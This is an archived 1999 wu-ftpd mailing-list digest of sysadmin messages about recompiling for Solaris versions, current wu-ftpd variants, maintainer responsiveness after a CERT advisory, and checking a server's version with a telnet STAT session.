Received: from windsurf2 (windsurf2.unmc.edu [137.197.214.115])
by molbio.unmc.edu (8.9.1b+Sun/8.9.1) with SMTP id PAA15311;
Tue, 23 Mar 1999 15:23:42 -0600 (CST)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 15:23:18 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Chad Price <[email protected]>
To: [email protected],
Maurice Hollingsworth <[email protected]>
Cc: Washington University FTPd <[email protected]>
Subject: Re: wu-ftpd on Solaris 2.5.1 vs 2.6
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 02:28 PM 3/23/1999 -0500, Gregory A Lundberg wrote:
>On Tue, 23 Mar 1999, Maurice Hollingsworth wrote:
>
>> I have installed wu-ftpd on our Solaris 2.6 test box. I now need to
>> move it to a production box using 2.5.1. Can I simply move the object
>> code or must I recompile it for 2.5.1?
>
>Recompile.

Maybe not strictly speaking required. I just moved from Solaris 2.4 to 7
and am still using the object from 2.4. Seems to work fine except for
logging - syslog may have changed some and I'm not getting logging. I'm
planning on recompiling to test that, but the file transfer part of it
seems to work fine so far.

Chad

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
[email protected]
(402) 559-9527
(402) 559-4077 (FAX)

From [email protected] Tue Mar 23 15:46:01 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA01476;
Tue, 23 Mar 1999 15:46:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA26117;
Tue, 23 Mar 1999 15:41:06 -0600 (CST)
Received: from ljcqs016.cnf.com ([205.185.108.239])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA26537
for <[email protected]>; Tue, 23 Mar 1999 15:32:52 -0600 (CST)
Received: from cnfvs008.cnf.com (cnfvs008.cnf.com [10.0.2.114])
by ljcqs016.cnf.com (8.8.7/8.8.7) with ESMTP id NAA02942;
Tue, 23 Mar 1999 13:31:36 -0800 (PST)
Received: by cnfvs008.cnf.com with Internet Mail Service (5.5.2448.0)
id <GWD53V2A>; Tue, 23 Mar 1999 13:31:33 -0800
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 13:31:33 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Speier, Guy J - CNF" <[email protected]>
To: "'[email protected]'" <[email protected]>,
[email protected],
Maurice Hollingsworth
<[email protected]>
Cc: Washington University FTPd <[email protected]>
Subject: RE: wu-ftpd on Solaris 2.5.1 vs 2.6
MIME-Version: 1.0
Content-Type: text/plain
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

but that is not to say that they are backwards compatible

> -----Original Message-----
> From: Chad Price [SMTP:[email protected]]
> Sent: Tuesday, March 23, 1999 1:23 PM
> To: [email protected]; Maurice Hollingsworth
> Cc: Washington University FTPd
> Subject: Re: wu-ftpd on Solaris 2.5.1 vs 2.6
>
> At 02:28 PM 3/23/1999 -0500, Gregory A Lundberg wrote:
> >On Tue, 23 Mar 1999, Maurice Hollingsworth wrote:
> >
> >> I have installed wu-ftpd on our Solaris 2.6 test box. I now need to
> >> move it to a production box using 2.5.1. Can I simply move the object
> >> code or must I recompile it for 2.5.1?
> >
> >Recompile.
>
> Maybe not strictly speaking required. I just moved from Solaris 2.4 to 7
> and am still using the object from 2.4. Seems to work fine except for
> logging - syslog may have changed some and I'm not getting logging. I'm
> planning on recompiling to test that, but the file transfer part of it
> seems to work fine so far.
>
> Chad
>
> Chad Price
> Systems Manager
> University of Nebraska Medical Center
> 600 S 42nd St
> Omaha, NE 68506-6495
> [email protected]
> (402) 559-9527
> (402) 559-4077 (FAX)

From [email protected] Tue Mar 23 15:57:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA01674;
Tue, 23 Mar 1999 15:57:19 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA26177;
Tue, 23 Mar 1999 15:52:32 -0600 (CST)
Received: from astro.sgsnet.com (astro.sgsnet.com [204.217.154.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA09929
for <[email protected]>; Tue, 23 Mar 1999 15:48:12 -0600 (CST)
Received: from imho.net (taz.sgsnet.com [204.217.154.9]) by astro.sgsnet.com (8.7.5/8.7.3) with ESMTP id PAA07602 for <[email protected]>; Tue, 23 Mar 1999 15:40:14 -0600 (CST)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 15:46:34 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Leif Ericksen <[email protected]>
To: FTP <[email protected]>
Subject: Re: wu-ftpd on Solaris 2.5.1 vs 2.6
References: <[email protected]> <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.51 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Chad Price wrote:
>
> At 02:28 PM 3/23/1999 -0500, Gregory A Lundberg wrote:
> >On Tue, 23 Mar 1999, Maurice Hollingsworth wrote:
> >
> >> I have installed wu-ftpd on our Solaris 2.6 test box. I now need to
> >> move it to a production box using 2.5.1. Can I simply move the object
> >> code or must I recompile it for 2.5.1?
> >
> >Recompile.
>
> Maybe not strictly speaking required. I just moved from Solaris 2.4 to 7
> and am still using the object from 2.4. Seems to work fine except for
> logging - syslog may have changed some and I'm not getting logging. I'm
> planning on recompiling to test that, but the file transfer part of it
> seems to work fine so far.
>
>
What you state would be great if the user was going from 2.5.1 to 2.6.
However, they are going from 2.6 to 2.5.1 therefore it is best off if
they recompile.
It may very well work if they try running the 2.6 binaruies on the 2.5.1
box but they should recompile to be safe. Whenver I change UNIX revs I
try to
recompile. I have a few boxes I admin 2.6 at home, 2.5, 2.5.1, 2.6, 2.7
at the office and if I take software like wu-ftp, amanda whatever I
always recompile when I go from one system to the other. Once you
figure out how to compile it is not that hard to do it on the other
system.

Just my how I do things.

-- Leif Ericksen
[email protected]

From [email protected] Tue Mar 23 17:03:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA02995;
Tue, 23 Mar 1999 17:03:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA17356;
Tue, 23 Mar 1999 16:59:11 -0600 (CST)
Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA15721
for <[email protected]>; Tue, 23 Mar 1999 16:55:50 -0600 (CST)
Received: from windsurf2 (windsurf2.unmc.edu [137.197.214.115])
by molbio.unmc.edu (8.9.1b+Sun/8.9.1) with SMTP id QAA17610;
Tue, 23 Mar 1999 16:30:42 -0600 (CST)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 16:30:21 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Chad Price <[email protected]>
To: [email protected], FTP <[email protected]>
Subject: Re: wu-ftpd on Solaris 2.5.1 vs 2.6
In-Reply-To: <[email protected]>
References: <[email protected]>
<[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 03:46 PM 3/23/1999 -0600, Leif Ericksen wrote:
...
>> Maybe not strictly speaking required. I just moved from Solaris 2.4 to 7
>> and am still using the object from 2.4. Seems to work fine except for
>> logging - syslog may have changed some and I'm not getting logging. I'm
>> planning on recompiling to test that, but the file transfer part of it
>> seems to work fine so far.
>>
>>
>What you state would be great if the user was going from 2.5.1 to 2.6.
>However, they are going from 2.6 to 2.5.1 therefore it is best off if
>they recompile.
>It may very well work if they try running the 2.6 binaruies on the 2.5.1
>box but they should recompile to be safe. Whenver I change UNIX revs I
>try to
>recompile. I have a few boxes I admin 2.6 at home, 2.5, 2.5.1, 2.6, 2.7
>at the office and if I take software like wu-ftp, amanda whatever I
>always recompile when I go from one system to the other. Once you
>figure out how to compile it is not that hard to do it on the other
>system.

My point is: try it and see. It may work. It may not. Your milage may vary.

Chad

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
[email protected]
(402) 559-9527
(402) 559-4077 (FAX)

From [email protected] Tue Mar 23 20:36:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA05916;
Tue, 23 Mar 1999 20:36:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA15380;
Tue, 23 Mar 1999 20:31:35 -0600 (CST)
Received: from sam.nic.com (nic.com [204.141.60.10])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA29905
for <[email protected]>; Tue, 23 Mar 1999 20:25:55 -0600 (CST)
Received: from gossamer.netdev.org (IDENT:[email protected] [204.141.60.60])
by sam.nic.com (8.9.1/8.9.1) with ESMTP id VAA24282;
Tue, 23 Mar 1999 21:25:46 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 19:26:51 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Dave Wreski <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: "[email protected]" <[email protected]>,
Guiming Ye <[email protected]>
Subject: Re: wu-ftpd lastest version
In-Reply-To: <[email protected]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
X-Sender: [email protected]
X-Mailer: XFMail 1.3 [p0] on Linux
X-Priority: 3 (Normal)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> 2.4.2-VR16 is the most-current classic wu-ftpd version. there are a lot
> of new featrures and bug fixes.

Are the academ people no longer maintaining the 'classic' version?

Thanks,
Dave

From [email protected] Tue Mar 23 21:16:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA06437;
Tue, 23 Mar 1999 21:16:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA31236;
Tue, 23 Mar 1999 21:11:27 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA17950
for <[email protected]>; Tue, 23 Mar 1999 21:05:15 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id WAA14802;
Tue, 23 Mar 1999 22:05:11 -0500
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 22:05:10 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Dave Wreski <[email protected]>
Cc: "[email protected]" <[email protected]>,
Guiming Ye <[email protected]>
Subject: Re: wu-ftpd lastest version
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 23 Mar 1999, Dave Wreski wrote:

> > 2.4.2-VR16 is the most-current classic wu-ftpd version. there are a
> > lot of new featrures and bug fixes.
>
> Are the academ people no longer maintaining the 'classic' version?

They have not said they are not.

--

#pragma rant

They also have not been doing much, if any work.

IMHO the only reason Stan put out 2.4.2 (final) was because of the CERT
advisory. If you look through the mailing list archives, you'll find his
last posting was a promise to release 2.4.2 (final) at the end of
September, 1998. Judging from the change dates, it looks like he intended
to make that date then just never did anything until a couple weeks after
the CERT advisory. (By comparison, I release a VR update on the 1st of
each month with whatever's been fixed/update/rolled in at the time; and
occassionally do a mid-month release if there's a critical need for it.)

Research in the mailing list archives will also reveal a few things.
First, that Stan doesn't post very much. As I recall he was on the
mailing list before the arvhives were started and posted a bit back then.
Looking through the archives, you will see he's only posted 161 messages
over the 5 1/2 years the archives cover. (Heck, I post that much almost
every month.)

Carefull research will show the problem had been known, discussed (albeit
quietly), and fixes announced for BeroFTPD and VR versions several months
earlier but Stan didn't update because of that discussion.

You will also find there was a posting on the mailing list of a prerelease
of the Netect advisory (from which Cert issued its Advisory) well over a
month before public annoncement. As I understand it, Netect posted its
prerelease announcement to the mailing list because they had received _no_
response from Stan. If he'd been watching at all, Stan certainly had
plenty of time to get a fix out, but instead waited until _after_ the CERT
advisory to make his updates. All I can say to that is at least he got a
fix out before someone publicly posted a working exploit. (If you read
the CERT/Netect advisories you'll see I provided the information for major
flavors of wu-ftpd .. including BeroFTPD, although they didn't mention
that.)

You will also note, when looking through the archives, that Stan never
_announced_ 2.4.2 (final). Someone showed me he'd put 2.4.2 (final) on
the academ ftp site, so _I_ announced it with my VR16 update for it (which
came out the evening I learned about the released version).

Finally, when it's working (it seems to be up and down a bit), connect to
ftp.academ.com and note the version number Stan's running (beta-18). I
believe the reason _he's_ not running 2.4.2 (final) is it has a subtle
runtime error causing his version to roll over and die; but more likely he
simply doesn't care enough even to update his own production server.
(You will note ftp.vr.net has been running VR17 and that won't even be
released until April 1.)

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 23 21:33:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id VAA06735;
Tue, 23 Mar 1999 21:33:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA27294;
Tue, 23 Mar 1999 21:29:18 -0600 (CST)
Received: from sam.nic.com (nic.com [204.141.60.10])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA22351
for <[email protected]>; Tue, 23 Mar 1999 21:23:30 -0600 (CST)
Received: from gossamer.netdev.org (IDENT:[email protected] [204.141.60.72])
by sam.nic.com (8.9.1/8.9.1) with ESMTP id WAA25008;
Tue, 23 Mar 1999 22:23:28 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 23 Mar 1999 20:24:35 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Dave Wreski <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: "[email protected]" <[email protected]>
Subject: Re: wu-ftpd lastest version
In-Reply-To: <[email protected]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
X-Sender: [email protected]
X-Mailer: XFMail 1.3 [p0] on Linux
X-Priority: 3 (Normal)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

[...]

> the CERT advisory. (By comparison, I release a VR update on the 1st of
> each month with whatever's been fixed/update/rolled in at the time; and
> occassionally do a mid-month release if there's a critical need for it.)

Thanks for the info, and I really appreciate your staying on top of this.

Regards,
Dave Wreski

From [email protected] Tue Mar 23 22:48:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA07920;
Tue, 23 Mar 1999 22:48:12 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA18063;
Tue, 23 Mar 1999 22:43:18 -0600 (CST)
Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA10986
for <[email protected]>; Tue, 23 Mar 1999 22:39:30 -0600 (CST)
Received: (qmail 21022 invoked by uid 50); 24 Mar 1999 04:39:27 -0000
Message-Id: <[email protected]>
Date: 23 Mar 1999 20:39:27 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Russ Allbery <[email protected]>
To: [email protected]
Subject: Re: wu-ftpd lastest version
In-Reply-To: Gregory A Lundberg's message of "Tue, 23 Mar 1999 22:05:10 -0500 (EST)"
References: <[email protected]>
X-Mailer: Gnus v5.4.66/Emacs 19.34
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory A Lundberg <[email protected]> writes:
> On Tue, 23 Mar 1999, Dave Wreski wrote:

>> Are the academ people no longer maintaining the 'classic' version?

> They have not said they are not.

[...]

Have you asked Stan if he'd be willing to just have you take over as the
official maintainer?

(Oh, BTW, there have been some Kerberos patches for wu-ftpd floating
around for a long time that let one do GSSAPI Kerberos 5. As near as I
can tell, they haven't been integrated; is there a possibility that they
could be eventually? I can try to dig up the location if there's
interest.)

--
Russ Allbery ([email protected]) <URL:http://www.eyrie.org/~eagle/>

From [email protected] Wed Mar 24 06:27:36 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA12732;
Wed, 24 Mar 1999 06:27:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA11768;
Wed, 24 Mar 1999 06:21:17 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA21428
for <[email protected]>; Wed, 24 Mar 1999 06:16:23 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA18277;
Wed, 24 Mar 1999 07:15:44 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 07:15:44 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Russ Allbery <[email protected]>
Cc: [email protected]
Subject: Re: wu-ftpd lastest version
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On 23 Mar 1999, Russ Allbery wrote:

> Have you asked Stan if he'd be willing to just have you take over as
> the official maintainer?

My position is that neither Stan, Bernard nor I have *ANY* say in the
matter. The ones who determine who is the 'maintainer' are _you_; you
vote with your (virtual) feet.

> (Oh, BTW, there have been some Kerberos patches for wu-ftpd floating
> around for a long time that let one do GSSAPI Kerberos 5. As near as
> I can tell, they haven't been integrated; is there a possibility that
> they could be eventually? I can try to dig up the location if there's
> interest.)

The location is easy: BeroFTPD 1.3.4

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 13:09:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA19001;
Wed, 24 Mar 1999 13:08:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA03277;
Wed, 24 Mar 1999 13:02:46 -0600 (CST)
Received: from neo.ZONE.NET (neo.zone.net [198.240.0.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA05769
for <[email protected]>; Wed, 24 Mar 1999 12:57:25 -0600 (CST)
Received: from localhost (jan@localhost) by neo.ZONE.NET (8.8.8/970824) with SMTP id NAA08951 for <[email protected]>; Wed, 24 Mar 1999 13:57:15 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 13:57:09 -0500 (EST)
Reply-To: Jan Simek <[email protected]>
Sender: [email protected]
From: Jan Simek <[email protected]>
To: [email protected]
Subject: VR version
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

how can I determine what VR series (beta 18, 2.4.2) do I have?

Thanks,

--Jan

From [email protected] Wed Mar 24 13:26:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA19252;
Wed, 24 Mar 1999 13:26:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA16899;
Wed, 24 Mar 1999 13:21:53 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA31904
for <[email protected]>; Wed, 24 Mar 1999 13:17:59 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA21718;
Wed, 24 Mar 1999 14:14:31 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 14:14:31 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Jan Simek <[email protected]>
Cc: [email protected]
Subject: Re: VR version
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Jan Simek wrote:

> how can I determine what VR series (beta 18, 2.4.2) do I have?

I'll use telnet. An ftp client works fine but you may need to 'quote
stat' instead of 'stat'.

$ telnet localhost ftp
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ftp.vr.net FTP server ready.

On most systems, the version will appear above. VR versions can suppress
this, so we need to look deeper.

user ftp
331 Guest login ok, send your complete e-mail address as password.
pass ftp@
230 Guest login ok, access restrictions apply.
stat
211-ftp.vr.net FTP server status:
Version wu-2.4.2-VR17(1) Wed Mar 10 15:10:40 EST 1999

On all versions, the version and date/time of compile appears in the STAT
response. ( The number in parenthesis, '(1)' above, is meaningless. )

Connected to localhost (127.0.0.1)
Logged in anonymously
TYPE: ASCII, FORM: Nonprint; STRUcture: File; transfer MODE: Stream
No data connection
0 data bytes received in 0 files
0 data bytes transmitted in 0 files
0 data bytes total in 0 files
28 traffic bytes received in 0 transfers
551 traffic bytes transmitted in 0 transfers
628 traffic bytes total in 0 transfers
211 End of status
quit
221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 738 bytes in 0 transfers.
221-Thank you for using the FTP service on ftp.vr.net.
221 Goodbye.
Connection closed by foreign host.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 13:34:57 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA19413;
Wed, 24 Mar 1999 13:34:56 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA08767;
Wed, 24 Mar 1999 13:28:21 -0600 (CST)
Received: from gw1.bfg.com (gateway.bfg.com [131.187.253.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA08841
for <[email protected]>; Wed, 24 Mar 1999 13:23:40 -0600 (CST)
Received: (from uucp@localhost)
by gw1.bfg.com (8.8.8/8.8.8) id OAA09385;
Wed, 24 Mar 1999 14:23:34 -0500 (EST)
Received: from testns3.bfg.com(170.126.231.77) by gw1.bfg.com via smap (V2.1)
id sma009002; Wed, 24 Mar 99 14:23:14 -0500
Received: from localhost (keller@localhost)
by testns3.bfg.com (8.9.3/8.9.3) with ESMTP id OAA01812;
Wed, 24 Mar 1999 14:23:13 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 14:23:13 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Ted Keller <[email protected]>
To: Jan Simek <[email protected]>
Cc: [email protected]
Subject: Re: VR version
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Jan,

Simply telnet to your ftp host on port 21

>telnet ftp.xxx.com 21

it will respond with a banner which should indicate both the vendor and
version.

ted keller

On Wed, 24 Mar 1999, Jan Simek wrote:

> Hi,
>
> how can I determine what VR series (beta 18, 2.4.2) do I have?
>
> Thanks,
>
> --Jan
>

From [email protected] Wed Mar 24 13:39:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA19486;
Wed, 24 Mar 1999 13:39:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA20301;
Wed, 24 Mar 1999 13:34:53 -0600 (CST)
Received: from netrixgw.netrix.com (netrixgw.netrix.com [192.246.152.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA05154
for <[email protected]>; Wed, 24 Mar 1999 13:29:36 -0600 (CST)
Received: from opal (opal.netrix.com [192.231.195.34])
by netrixgw.netrix.com (8.9.1/8.9.1) with SMTP id OAA19736
for <[email protected]>; Wed, 24 Mar 1999 14:33:13 -0500 (EST)
Received: from netrix.com (localhost) by opal (Sendmail5.0/Netrix 5-18-94)
id AA05243; Wed, 24 Mar 1999 14:32:47 +0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 14:32:47 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Pat Soisson <[email protected]>
To: [email protected]
Subject: Latest and Greatest
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.07 [en] (X11; I; SunOS 5.6 sun4m)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gents,

Where can I find the latest and greatest version of WU-FTP???

Any help would be appreciated.

Thanks,

Pat

--
Patrick J. Soisson
UNIX System Administrator
Netrix Corporation
[email protected] - (703) 793-2046

From [email protected] Wed Mar 24 14:05:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA19881;
Wed, 24 Mar 1999 14:05:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA25231;
Wed, 24 Mar 1999 14:00:41 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA18062
for <[email protected]>; Wed, 24 Mar 1999 13:57:25 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA22039;
Wed, 24 Mar 1999 14:56:16 -0500
Message-Id: <[email protected]>
Date: Wed, 24 Mar 1999 14:56:16 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Pat Soisson <[email protected]>
Cc: [email protected]
Subject: Re: Latest and Greatest
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 24 Mar 1999, Pat Soisson wrote:

> Where can I find the latest and greatest version of WU-FTP???

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

---------- Forwarded message ----------
>From [email protected] Wed Mar 24 14:55:10 1999
Date: Tue, 23 Mar 1999 14:26:42 -0500 (EST)
From: Gregory A Lundberg <[email protected]>
To: Guiming Ye <[email protected]>
Cc: "[email protected]" <[email protected]>
Subject: Re: wu-ftpd lastest version

On Tue, 23 Mar 1999, Guiming Ye wrote:

> time to download it from ftp.academ.com. but their ftp server was down
> for many days. Anybody know which site I can go? thank you!

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

there are three 'current verions' of wu-ftpd.

2.4.2 (final) is the newest release, but the oldest and buggiest; I mean
there's been no changes to is for nearly a year and the only real change
was to fix the bug reported by CERT. other than that, it's old, crufty
and should only be used for historical research.

2.4.2-VR16 is the most-current classic wu-ftpd version. there are a lot
of new featrures and bug fixes.

BeroFTPD 1.3.4 is the most-current NEWVIRT wu-ftpd version. it includes
many of the VR updates (ISTM more are coming as Bernard gets time) as well
as the NEWVIRT hosting changes. Technilogically BeroFTPD is the most
up-to-date; supporting FTP-SEC and mlst-06-draft (to some extent). It
also builds using GNU autoconf instead of the old 'build' command.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 24 14:12:18 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA20005;
Wed, 24 Mar 1999 14:12:17 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA02856;
Wed, 24 Mar 1999 14:07:05 -0600 (CST)
